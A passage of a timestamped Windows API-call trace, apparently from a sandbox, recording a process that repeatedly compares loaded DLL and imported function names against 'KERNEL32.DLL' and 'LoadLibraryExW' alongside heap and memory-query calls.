(lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.554] lstrcmpiA (lpString1="API-MS-Win-Core-Profile-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.554] lstrcmpiA (lpString1="API-MS-Win-Core-String-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.554] lstrcmpiA (lpString1="API-MS-Win-Core-Synch-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.554] lstrcmpiA (lpString1="API-MS-Win-Core-SysInfo-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.554] lstrcmpiA (lpString1="API-MS-Win-Core-ThreadPool-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.554] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.554] lstrcmpiA (lpString1="API-MS-Win-Core-DelayLoad-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.554] lstrcmpiA (lpString1="KERNELBASE.dll", lpString2="KERNEL32.DLL") returned 1 [0079.554] lstrcmpiA (lpString1="API-MS-Win-Security-LSALookup-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.554] lstrcmpiA (lpString1="SspiCli.dll", lpString2="KERNEL32.DLL") returned 1 [0079.554] lstrcmpiA (lpString1="WS2_32.dll", lpString2="KERNEL32.DLL") returned 1 [0079.555] lstrcmpiA (lpString1="IPHLPAPI.DLL", lpString2="KERNEL32.DLL") returned -1 [0079.555] lstrcmpiA (lpString1="CRYPTBASE.dll", lpString2="KERNEL32.DLL") returned -1 [0079.555] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2030d60 | out: hHeap=0x2020000) returned 1 [0079.555] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x77320000, lpBuffer=0x27eda0, dwLength=0x30 | out: lpBuffer=0x27eda0*(BaseAddress=0x77320000, AllocationBase=0x77320000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0079.555] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x27ecd0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x27ecd0, ReturnLength=0x0) returned 0x0 [0079.555] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2030d60 [0079.555] lstrcmpiA (lpString1="ntdll.dll", lpString2="KERNEL32.DLL") returned 1 [0079.555] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="KERNEL32.DLL") returned 0 [0079.555] lstrcmpiA (lpString1="K32QueryWorkingSet", lpString2="LoadLibraryExW") returned -1 [0079.555] lstrcmpiA (lpString1="SetUnhandledExceptionFilter", lpString2="LoadLibraryExW") returned 1 [0079.555] lstrcmpiA (lpString1="UnhandledExceptionFilter", lpString2="LoadLibraryExW") returned 1 [0079.555] lstrcmpiA (lpString1="GetCurrentProcess", lpString2="LoadLibraryExW") returned -1 [0079.555] lstrcmpiA (lpString1="K32GetPerformanceInfo", lpString2="LoadLibraryExW") returned -1 [0079.555] lstrcmpiA (lpString1="K32GetProcessMemoryInfo", lpString2="LoadLibraryExW") returned -1 [0079.555] lstrcmpiA (lpString1="K32EmptyWorkingSet", lpString2="LoadLibraryExW") returned -1 [0079.555] lstrcmpiA (lpString1="K32GetProcessImageFileNameW", lpString2="LoadLibraryExW") returned -1 [0079.555] lstrcmpiA (lpString1="K32GetModuleBaseNameW", lpString2="LoadLibraryExW") returned -1 [0079.555] lstrcmpiA (lpString1="K32GetDeviceDriverBaseNameW", lpString2="LoadLibraryExW") returned -1 [0079.555] lstrcmpiA (lpString1="K32EnumDeviceDrivers", lpString2="LoadLibraryExW") returned -1 [0079.555] lstrcmpiA (lpString1="K32EnumPageFilesA", lpString2="LoadLibraryExW") returned -1 [0079.555] lstrcmpiA (lpString1="K32GetDeviceDriverFileNameA", lpString2="LoadLibraryExW") returned -1 [0079.555] lstrcmpiA (lpString1="K32EnumProcessModules", lpString2="LoadLibraryExW") returned -1 [0079.555] lstrcmpiA (lpString1="K32EnumPageFilesW", lpString2="LoadLibraryExW") returned -1 [0079.555] lstrcmpiA (lpString1="K32GetModuleFileNameExW", lpString2="LoadLibraryExW") returned -1 [0079.555] lstrcmpiA (lpString1="K32GetModuleFileNameExA", lpString2="LoadLibraryExW") returned -1 [0079.555] lstrcmpiA (lpString1="K32InitializeProcessForWsWatch", lpString2="LoadLibraryExW") returned -1 [0079.555] lstrcmpiA (lpString1="K32GetModuleInformation", lpString2="LoadLibraryExW") returned -1 [0079.555] lstrcmpiA (lpString1="K32GetWsChanges", lpString2="LoadLibraryExW") returned -1 [0079.555] lstrcmpiA (lpString1="K32GetDeviceDriverFileNameW", lpString2="LoadLibraryExW") returned -1 [0079.555] lstrcmpiA (lpString1="K32QueryWorkingSetEx", lpString2="LoadLibraryExW") returned -1 [0079.555] lstrcmpiA (lpString1="K32GetDeviceDriverBaseNameA", lpString2="LoadLibraryExW") returned -1 [0079.555] lstrcmpiA (lpString1="K32EnumProcesses", lpString2="LoadLibraryExW") returned -1 [0079.555] lstrcmpiA (lpString1="K32GetMappedFileNameA", lpString2="LoadLibraryExW") returned -1 [0079.555] lstrcmpiA (lpString1="K32GetModuleBaseNameA", lpString2="LoadLibraryExW") returned -1 [0079.555] lstrcmpiA (lpString1="K32GetMappedFileNameW", lpString2="LoadLibraryExW") returned -1 [0079.555] lstrcmpiA (lpString1="K32GetProcessImageFileNameA", lpString2="LoadLibraryExW") returned -1 [0079.555] lstrcmpiA (lpString1="K32GetWsChangesEx", lpString2="LoadLibraryExW") returned -1 [0079.555] lstrcmpiA (lpString1="K32EnumProcessModulesEx", lpString2="LoadLibraryExW") returned -1 [0079.555] lstrcmpiA (lpString1="DisableThreadLibraryCalls", lpString2="LoadLibraryExW") returned -1 [0079.556] lstrcmpiA (lpString1="QueryPerformanceCounter", lpString2="LoadLibraryExW") returned 1 [0079.556] lstrcmpiA (lpString1="GetTickCount", lpString2="LoadLibraryExW") returned -1 [0079.556] lstrcmpiA (lpString1="GetCurrentThreadId", lpString2="LoadLibraryExW") returned -1 [0079.556] lstrcmpiA (lpString1="GetCurrentProcessId", lpString2="LoadLibraryExW") returned -1 [0079.556] lstrcmpiA (lpString1="GetSystemTimeAsFileTime", lpString2="LoadLibraryExW") returned -1 [0079.556] lstrcmpiA (lpString1="TerminateProcess", lpString2="LoadLibraryExW") returned 1 [0079.556] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2030d60 | out: hHeap=0x2020000) returned 1 [0079.556] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefdb70000, lpBuffer=0x27eda0, dwLength=0x30 | out: lpBuffer=0x27eda0*(BaseAddress=0x7fefdb70000, AllocationBase=0x7fefdb70000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0079.556] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x27ecd0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x27ecd0, ReturnLength=0x0) returned 0x0 [0079.556] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2030d60 [0079.556] lstrcmpiA (lpString1="msvcrt.dll", lpString2="KERNEL32.DLL") returned 1 [0079.556] lstrcmpiA (lpString1="KERNELBASE.dll", lpString2="KERNEL32.DLL") returned 1 [0079.556] lstrcmpiA (lpString1="API-MS-Win-Core-Debug-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.556] lstrcmpiA (lpString1="API-MS-Win-Core-ErrorHandling-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.556] lstrcmpiA (lpString1="API-MS-Win-Core-File-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.556] lstrcmpiA (lpString1="API-MS-Win-Core-Handle-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.556] lstrcmpiA (lpString1="API-MS-Win-Core-Heap-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.556] lstrcmpiA (lpString1="API-MS-Win-Core-Interlocked-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.556] lstrcmpiA (lpString1="API-MS-Win-Core-IO-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.556] lstrcmpiA (lpString1="API-MS-Win-Core-LibraryLoader-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.556] lstrcmpiA (lpString1="API-MS-Win-Core-Localization-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.556] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.556] lstrcmpiA (lpString1="API-MS-Win-Core-Memory-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.556] lstrcmpiA (lpString1="API-MS-Win-Core-Misc-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.556] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessEnvironment-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.556] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.556] lstrcmpiA (lpString1="API-MS-Win-Core-Profile-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.556] lstrcmpiA (lpString1="API-MS-Win-Core-String-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.556] lstrcmpiA (lpString1="API-MS-Win-Core-Synch-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.556] lstrcmpiA (lpString1="API-MS-Win-Core-SysInfo-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.556] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.556] lstrcmpiA (lpString1="SHLWAPI.dll", lpString2="KERNEL32.DLL") returned 1 [0079.556] lstrcmpiA (lpString1="ntdll.dll", lpString2="KERNEL32.DLL") returned 1 [0079.556] lstrcmpiA (lpString1="USER32.dll", lpString2="KERNEL32.DLL") returned 1 [0079.556] lstrcmpiA (lpString1="GDI32.dll", lpString2="KERNEL32.DLL") returned -1 [0079.556] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="KERNEL32.DLL") returned 0 [0079.556] lstrcmpiA (lpString1="ReadDirectoryChangesW", lpString2="LoadLibraryExW") returned 1 [0079.556] lstrcmpiA (lpString1="WerpNotifyUseStringResource", lpString2="LoadLibraryExW") returned 1 [0079.556] lstrcmpiA (lpString1="GetCompressedFileSizeW", lpString2="LoadLibraryExW") returned -1 [0079.556] lstrcmpiA (lpString1="FindResourceW", lpString2="LoadLibraryExW") returned -1 [0079.557] lstrcmpiA (lpString1="GetComputerNameW", lpString2="LoadLibraryExW") returned -1 [0079.557] lstrcmpiA (lpString1="MoveFileExW", lpString2="LoadLibraryExW") returned 1 [0079.557] lstrcmpiA (lpString1="LoadLibraryW", lpString2="LoadLibraryExW") returned 1 [0079.557] lstrcmpiA (lpString1="EnumResourceNamesW", lpString2="LoadLibraryExW") returned -1 [0079.557] lstrcmpiA (lpString1="GlobalLock", lpString2="LoadLibraryExW") returned -1 [0079.557] lstrcmpiA (lpString1="GlobalUnlock", lpString2="LoadLibraryExW") returned -1 [0079.557] lstrcmpiA (lpString1="GetShortPathNameA", lpString2="LoadLibraryExW") returned -1 [0079.557] lstrcmpiA (lpString1="GlobalReAlloc", lpString2="LoadLibraryExW") returned -1 [0079.557] lstrcmpiA (lpString1="DelayLoadFailureHook", lpString2="LoadLibraryExW") returned -1 [0079.557] lstrcmpiA (lpString1="GetTempPathW", lpString2="LoadLibraryExW") returned -1 [0079.557] lstrcmpiA (lpString1="GetDateFormatW", lpString2="LoadLibraryExW") returned -1 [0079.557] lstrcmpiA (lpString1="PowerCreateRequest", lpString2="LoadLibraryExW") returned 1 [0079.557] lstrcmpiA (lpString1="PowerSetRequest", lpString2="LoadLibraryExW") returned 1 [0079.557] lstrcmpiA (lpString1="PowerClearRequest", lpString2="LoadLibraryExW") returned 1 [0079.557] lstrcmpiA (lpString1="GetProfileSectionW", lpString2="LoadLibraryExW") returned -1 [0079.557] lstrcmpiA (lpString1="CheckElevationEnabled", lpString2="LoadLibraryExW") returned -1 [0079.557] lstrcmpiA (lpString1="GetVolumeNameForVolumeMountPointW", lpString2="LoadLibraryExW") returned -1 [0079.557] lstrcmpiA (lpString1="CreateWaitableTimerW", lpString2="LoadLibraryExW") returned -1 [0079.557] lstrcmpiA (lpString1="WTSGetActiveConsoleSessionId", lpString2="LoadLibraryExW") returned 1 [0079.557] lstrcmpiA (lpString1="GetPrivateProfileSectionW", lpString2="LoadLibraryExW") returned -1 [0079.557] lstrcmpiA (lpString1="GetVolumePathNamesForVolumeNameW", lpString2="LoadLibraryExW") returned -1 [0079.557] lstrcmpiA (lpString1="InitOnceExecuteOnce", lpString2="LoadLibraryExW") returned -1 [0079.557] lstrcmpiA (lpString1="GlobalGetAtomNameW", lpString2="LoadLibraryExW") returned -1 [0079.557] lstrcmpiA (lpString1="FileTimeToDosDateTime", lpString2="LoadLibraryExW") returned -1 [0079.557] lstrcmpiA (lpString1="DosDateTimeToFileTime", lpString2="LoadLibraryExW") returned -1 [0079.557] lstrcmpiA (lpString1="ActivateActCtx", lpString2="LoadLibraryExW") returned -1 [0079.557] lstrcmpiA (lpString1="DeactivateActCtx", lpString2="LoadLibraryExW") returned -1 [0079.557] lstrcmpiA (lpString1="GetProductInfo", lpString2="LoadLibraryExW") returned -1 [0079.557] lstrcmpiA (lpString1="UnregisterWait", lpString2="LoadLibraryExW") returned 1 [0079.557] lstrcmpiA (lpString1="RegisterWaitForSingleObject", lpString2="LoadLibraryExW") returned 1 [0079.557] lstrcmpiA (lpString1="WritePrivateProfileSectionW", lpString2="LoadLibraryExW") returned 1 [0079.557] lstrcmpiA (lpString1="WritePrivateProfileStringW", lpString2="LoadLibraryExW") returned 1 [0079.557] lstrcmpiA (lpString1="GetPrivateProfileSectionNamesW", lpString2="LoadLibraryExW") returned -1 [0079.557] lstrcmpiA (lpString1="QueryFullProcessImageNameW", lpString2="LoadLibraryExW") returned 1 [0079.557] lstrcmpiA (lpString1="FindAtomW", lpString2="LoadLibraryExW") returned -1 [0079.557] lstrcmpiA (lpString1="CancelSynchronousIo", lpString2="LoadLibraryExW") returned -1 [0079.557] lstrcmpiA (lpString1="GlobalFlags", lpString2="LoadLibraryExW") returned -1 [0079.557] lstrcmpiA (lpString1="LocalSize", lpString2="LoadLibraryExW") returned 1 [0079.557] lstrcmpiA (lpString1="SetVolumeLabelW", lpString2="LoadLibraryExW") returned 1 [0079.557] lstrcmpiA (lpString1="CreateSemaphoreW", lpString2="LoadLibraryExW") returned -1 [0079.558] lstrcmpiA (lpString1="WaitForMultipleObjects", lpString2="LoadLibraryExW") returned 1 [0079.558] lstrcmpiA (lpString1="UnregisterWaitEx", lpString2="LoadLibraryExW") returned 1 [0079.558] lstrcmpiA (lpString1="CreateTimerQueueTimer", lpString2="LoadLibraryExW") returned -1 [0079.558] lstrcmpiA (lpString1="DeleteTimerQueueTimer", lpString2="LoadLibraryExW") returned -1 [0079.558] lstrcmpiA (lpString1="CreateHardLinkW", lpString2="LoadLibraryExW") returned -1 [0079.558] lstrcmpiA (lpString1="SetThreadpoolTimer", lpString2="LoadLibraryExW") returned 1 [0079.558] lstrcmpiA (lpString1="CloseThreadpoolTimer", lpString2="LoadLibraryExW") returned -1 [0079.558] lstrcmpiA (lpString1="CopyFileW", lpString2="LoadLibraryExW") returned -1 [0079.558] lstrcmpiA (lpString1="CreateThreadpoolTimer", lpString2="LoadLibraryExW") returned -1 [0079.558] lstrcmpiA (lpString1="QueueUserWorkItem", lpString2="LoadLibraryExW") returned 1 [0079.558] lstrcmpiA (lpString1="FlushInstructionCache", lpString2="LoadLibraryExW") returned -1 [0079.558] lstrcmpiA (lpString1="GetPhysicallyInstalledSystemMemory", lpString2="LoadLibraryExW") returned -1 [0079.558] lstrcmpiA (lpString1="FileTimeToLocalFileTime", lpString2="LoadLibraryExW") returned -1 [0079.558] lstrcmpiA (lpString1="LocalFileTimeToFileTime", lpString2="LoadLibraryExW") returned 1 [0079.558] lstrcmpiA (lpString1="TzSpecificLocalTimeToSystemTime", lpString2="LoadLibraryExW") returned 1 [0079.558] lstrcmpiA (lpString1="SystemTimeToTzSpecificLocalTime", lpString2="LoadLibraryExW") returned 1 [0079.558] lstrcmpiA (lpString1="FindResourceExW", lpString2="LoadLibraryExW") returned -1 [0079.558] lstrcmpiA (lpString1="GetAtomNameW", lpString2="LoadLibraryExW") returned -1 [0079.558] lstrcmpiA (lpString1="ExpandEnvironmentStringsA", lpString2="LoadLibraryExW") returned -1 [0079.558] lstrcmpiA (lpString1="LoadLibraryA", lpString2="LoadLibraryExW") returned -1 [0079.558] lstrcmpiA (lpString1="CreateJobObjectW", lpString2="LoadLibraryExW") returned -1 [0079.558] lstrcmpiA (lpString1="IsProcessInJob", lpString2="LoadLibraryExW") returned -1 [0079.558] lstrcmpiA (lpString1="GetProcessId", lpString2="LoadLibraryExW") returned -1 [0079.558] lstrcmpiA (lpString1="ResolveLocaleName", lpString2="LoadLibraryExW") returned 1 [0079.558] lstrcmpiA (lpString1="LocaleNameToLCID", lpString2="LoadLibraryExW") returned 1 [0079.558] lstrcmpiA (lpString1="GetSystemPreferredUILanguages", lpString2="LoadLibraryExW") returned -1 [0079.558] lstrcmpiA (lpString1="GlobalSize", lpString2="LoadLibraryExW") returned -1 [0079.558] lstrcmpiA (lpString1="MoveFileW", lpString2="LoadLibraryExW") returned 1 [0079.558] lstrcmpiA (lpString1="ReplaceFileW", lpString2="LoadLibraryExW") returned 1 [0079.558] lstrcmpiA (lpString1="QueryActCtxW", lpString2="LoadLibraryExW") returned 1 [0079.558] lstrcmpiA (lpString1="GlobalAddAtomW", lpString2="LoadLibraryExW") returned -1 [0079.558] lstrcmpiA (lpString1="GlobalDeleteAtom", lpString2="LoadLibraryExW") returned -1 [0079.558] lstrcmpiA (lpString1="GetSystemWow64DirectoryW", lpString2="LoadLibraryExW") returned -1 [0079.558] lstrcmpiA (lpString1="CreateActCtxW", lpString2="LoadLibraryExW") returned -1 [0079.558] lstrcmpiA (lpString1="ReleaseActCtx", lpString2="LoadLibraryExW") returned 1 [0079.558] lstrcmpiA (lpString1="CheckElevation", lpString2="LoadLibraryExW") returned -1 [0079.558] lstrcmpiA (lpString1="GetPrivateProfileStringW", lpString2="LoadLibraryExW") returned -1 [0079.558] lstrcmpiA (lpString1="MulDiv", lpString2="LoadLibraryExW") returned 1 [0079.558] lstrcmpiA (lpString1="GetBinaryTypeW", lpString2="LoadLibraryExW") returned -1 [0079.558] lstrcmpiA (lpString1="GetFileInformationByHandleEx", lpString2="LoadLibraryExW") returned -1 [0079.558] lstrcmpiA (lpString1="API-MS-Win-Security-LSALookup-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.559] lstrcmpiA (lpString1="API-MS-WIN-Service-winsvc-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.559] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.559] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L2-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.559] lstrcmpiA (lpString1="API-MS-Win-Security-SDDL-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.559] lstrcmpiA (lpString1="CRYPTSP.dll", lpString2="KERNEL32.DLL") returned -1 [0079.559] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="KERNEL32.DLL") returned -1 [0079.559] lstrcmpiA (lpString1="RstrtMgr.DLL", lpString2="KERNEL32.DLL") returned 1 [0079.559] lstrcmpiA (lpString1="WINMM.dll", lpString2="KERNEL32.DLL") returned 1 [0079.559] lstrcmpiA (lpString1="msiltcfg.dll", lpString2="KERNEL32.DLL") returned 1 [0079.559] lstrcmpiA (lpString1="DEVMGR.DLL", lpString2="KERNEL32.DLL") returned -1 [0079.559] lstrcmpiA (lpString1="dwmapi.dll", lpString2="KERNEL32.DLL") returned -1 [0079.559] lstrcmpiA (lpString1="urlmon.dll", lpString2="KERNEL32.DLL") returned 1 [0079.559] lstrcmpiA (lpString1="WININET.dll", lpString2="KERNEL32.DLL") returned 1 [0079.559] lstrcmpiA (lpString1="Secur32.dll", lpString2="KERNEL32.DLL") returned 1 [0079.559] lstrcmpiA (lpString1="profapi.dll", lpString2="KERNEL32.DLL") returned 1 [0079.559] lstrcmpiA (lpString1="USERENV.dll", lpString2="KERNEL32.DLL") returned 1 [0079.559] lstrcmpiA (lpString1="ole32.dll", lpString2="KERNEL32.DLL") returned 1 [0079.559] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="KERNEL32.DLL") returned 1 [0079.559] lstrcmpiA (lpString1="OLEACC.dll", lpString2="KERNEL32.DLL") returned 1 [0079.559] lstrcmpiA (lpString1="VERSION.dll", lpString2="KERNEL32.DLL") returned 1 [0079.559] lstrcmpiA (lpString1="MPR.dll", lpString2="KERNEL32.DLL") returned 1 [0079.559] lstrcmpiA (lpString1="dsrole.dll", lpString2="KERNEL32.DLL") returned -1 [0079.559] lstrcmpiA (lpString1="netutils.dll", lpString2="KERNEL32.DLL") returned 1 [0079.559] lstrcmpiA (lpString1="samcli.dll", lpString2="KERNEL32.DLL") returned 1 [0079.559] lstrcmpiA (lpString1="srvcli.dll", lpString2="KERNEL32.DLL") returned 1 [0079.559] lstrcmpiA (lpString1="wkscli.dll", lpString2="KERNEL32.DLL") returned 1 [0079.559] lstrcmpiA (lpString1="DAVHLPR.dll", lpString2="KERNEL32.DLL") returned -1 [0079.563] lstrcmpiA (lpString1="CSCAPI.dll", lpString2="KERNEL32.DLL") returned -1 [0079.563] lstrcmpiA (lpString1="slc.dll", lpString2="KERNEL32.DLL") returned 1 [0079.563] lstrcmpiA (lpString1="UxTheme.dll", lpString2="KERNEL32.DLL") returned 1 [0079.563] lstrcmpiA (lpString1="ntshrui.dll", lpString2="KERNEL32.DLL") returned 1 [0079.563] lstrcmpiA (lpString1="EFSUTIL.dll", lpString2="KERNEL32.DLL") returned -1 [0079.563] lstrcmpiA (lpString1="POWRPROF.dll", lpString2="KERNEL32.DLL") returned 1 [0079.563] lstrcmpiA (lpString1="SHDOCVW.dll", lpString2="KERNEL32.DLL") returned 1 [0079.563] lstrcmpiA (lpString1="EFSADU.dll", lpString2="KERNEL32.DLL") returned -1 [0079.563] lstrcmpiA (lpString1="LINKINFO.dll", lpString2="KERNEL32.DLL") returned 1 [0079.563] lstrcmpiA (lpString1="DUser.dll", lpString2="KERNEL32.DLL") returned -1 [0079.563] lstrcmpiA (lpString1="DUI70.dll", lpString2="KERNEL32.DLL") returned -1 [0079.563] lstrcmpiA (lpString1="SETUPAPI.dll", lpString2="KERNEL32.DLL") returned 1 [0079.563] lstrcmpiA (lpString1="apphelp.dll", lpString2="KERNEL32.DLL") returned -1 [0079.563] lstrcmpiA (lpString1="ADVPACK.dll", lpString2="KERNEL32.DLL") returned -1 [0079.563] lstrcmpiA (lpString1="WINBRAND.dll", lpString2="KERNEL32.DLL") returned 1 [0079.563] lstrcmpiA (lpString1="PROPSYS.dll", lpString2="KERNEL32.DLL") returned 1 [0079.563] lstrcmpiA (lpString1="WindowsCodecs.dll", lpString2="KERNEL32.DLL") returned 1 [0079.563] lstrcmpiA (lpString1="credui.dll", lpString2="KERNEL32.DLL") returned -1 [0079.563] lstrcmpiA (lpString1="WS2_32.dll", lpString2="KERNEL32.DLL") returned 1 [0079.563] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="KERNEL32.DLL") returned 1 [0079.563] lstrcmpiA (lpString1="gdiplus.dll", lpString2="KERNEL32.DLL") returned -1 [0079.563] lstrcmpiA (lpString1="IMM32.dll", lpString2="KERNEL32.DLL") returned -1 [0079.563] lstrcmpiA (lpString1="IPHLPAPI.DLL", lpString2="KERNEL32.DLL") returned -1 [0079.563] lstrcmpiA (lpString1="XmlLite.dll", lpString2="KERNEL32.DLL") returned 1 [0079.563] lstrcmpiA (lpString1="WINSTA.dll", lpString2="KERNEL32.DLL") returned 1 [0079.563] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2030d60 | out: hHeap=0x2020000) returned 1 [0079.563] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefd5c0000, lpBuffer=0x27eda0, dwLength=0x30 | out: lpBuffer=0x27eda0*(BaseAddress=0x7fefd5c0000, AllocationBase=0x7fefd5c0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0079.563] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x27ecd0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x27ecd0, ReturnLength=0x0) returned 0x0 [0079.563] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2030d60 [0079.563] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="KERNEL32.DLL") returned 0 [0079.563] lstrcmpiA (lpString1="TlsSetValue", lpString2="LoadLibraryExW") returned 1 [0079.563] lstrcmpiA (lpString1="TlsGetValue", lpString2="LoadLibraryExW") returned 1 [0079.563] lstrcmpiA (lpString1="SetEvent", lpString2="LoadLibraryExW") returned 1 [0079.563] lstrcmpiA (lpString1="FreeLibraryAndExitThread", lpString2="LoadLibraryExW") returned -1 [0079.563] lstrcmpiA (lpString1="GetModuleHandleExA", lpString2="LoadLibraryExW") returned -1 [0079.563] lstrcmpiA (lpString1="CreateEventA", lpString2="LoadLibraryExW") returned -1 [0079.564] lstrcmpiA (lpString1="CreateThread", lpString2="LoadLibraryExW") returned -1 [0079.564] lstrcmpiA (lpString1="WaitForSingleObject", lpString2="LoadLibraryExW") returned 1 [0079.564] lstrcmpiA (lpString1="GetTickCount", lpString2="LoadLibraryExW") returned -1 [0079.564] lstrcmpiA (lpString1="GetUserDefaultUILanguage", lpString2="LoadLibraryExW") returned -1 [0079.564] lstrcmpiA (lpString1="GetCurrentThread", lpString2="LoadLibraryExW") returned -1 [0079.564] lstrcmpiA (lpString1="LoadLibraryW", lpString2="LoadLibraryExW") returned 1 [0079.564] lstrcmpiA (lpString1="MulDiv", lpString2="LoadLibraryExW") returned 1 [0079.564] lstrcmpiA (lpString1="GetUserDefaultLCID", lpString2="LoadLibraryExW") returned -1 [0079.564] lstrcmpiA (lpString1="LCIDToLocaleName", lpString2="LoadLibraryExW") returned -1 [0079.564] lstrcmpiA (lpString1="HeapAlloc", lpString2="LoadLibraryExW") returned -1 [0079.564] lstrcmpiA (lpString1="GetProcessHeap", lpString2="LoadLibraryExW") returned -1 [0079.564] lstrcmpiA (lpString1="HeapFree", lpString2="LoadLibraryExW") returned -1 [0079.564] lstrcmpiA (lpString1="GetModuleFileNameA", lpString2="LoadLibraryExW") returned -1 [0079.564] lstrcmpiA (lpString1="GetVersionExW", lpString2="LoadLibraryExW") returned -1 [0079.564] lstrcmpiA (lpString1="OpenEventW", lpString2="LoadLibraryExW") returned 1 [0079.564] lstrcmpiA (lpString1="GetSystemWindowsDirectoryW", lpString2="LoadLibraryExW") returned -1 [0079.564] lstrcmpiA (lpString1="GetSystemDefaultUILanguage", lpString2="LoadLibraryExW") returned -1 [0079.564] lstrcmpiA (lpString1="GetModuleFileNameW", lpString2="LoadLibraryExW") returned -1 [0079.564] lstrcmpiA (lpString1="DeleteFileW", lpString2="LoadLibraryExW") returned -1 [0079.564] lstrcmpiA (lpString1="ReadFile", lpString2="LoadLibraryExW") returned 1 [0079.564] lstrcmpiA (lpString1="SetFilePointerEx", lpString2="LoadLibraryExW") returned 1 [0079.564] lstrcmpiA (lpString1="GetVolumeInformationByHandleW", lpString2="LoadLibraryExW") returned -1 [0079.564] lstrcmpiA (lpString1="GetFileInformationByHandleEx", lpString2="LoadLibraryExW") returned -1 [0079.564] lstrcmpiA (lpString1="ReplaceFileW", lpString2="LoadLibraryExW") returned 1 [0079.564] lstrcmpiA (lpString1="SetFileInformationByHandle", lpString2="LoadLibraryExW") returned 1 [0079.564] lstrcmpiA (lpString1="SetFilePointer", lpString2="LoadLibraryExW") returned 1 [0079.564] lstrcmpiA (lpString1="WriteFile", lpString2="LoadLibraryExW") returned 1 [0079.564] lstrcmpiA (lpString1="SetEndOfFile", lpString2="LoadLibraryExW") returned 1 [0079.564] lstrcmpiA (lpString1="LockFileEx", lpString2="LoadLibraryExW") returned 1 [0079.564] lstrcmpiA (lpString1="UnlockFileEx", lpString2="LoadLibraryExW") returned 1 [0079.564] lstrcmpiA (lpString1="LocalSize", lpString2="LoadLibraryExW") returned 1 [0079.564] lstrcmpiA (lpString1="OpenProcess", lpString2="LoadLibraryExW") returned 1 [0079.564] lstrcmpiA (lpString1="GetCurrentProcessId", lpString2="LoadLibraryExW") returned -1 [0079.564] lstrcmpiA (lpString1="GlobalAddAtomW", lpString2="LoadLibraryExW") returned -1 [0079.564] lstrcmpiA 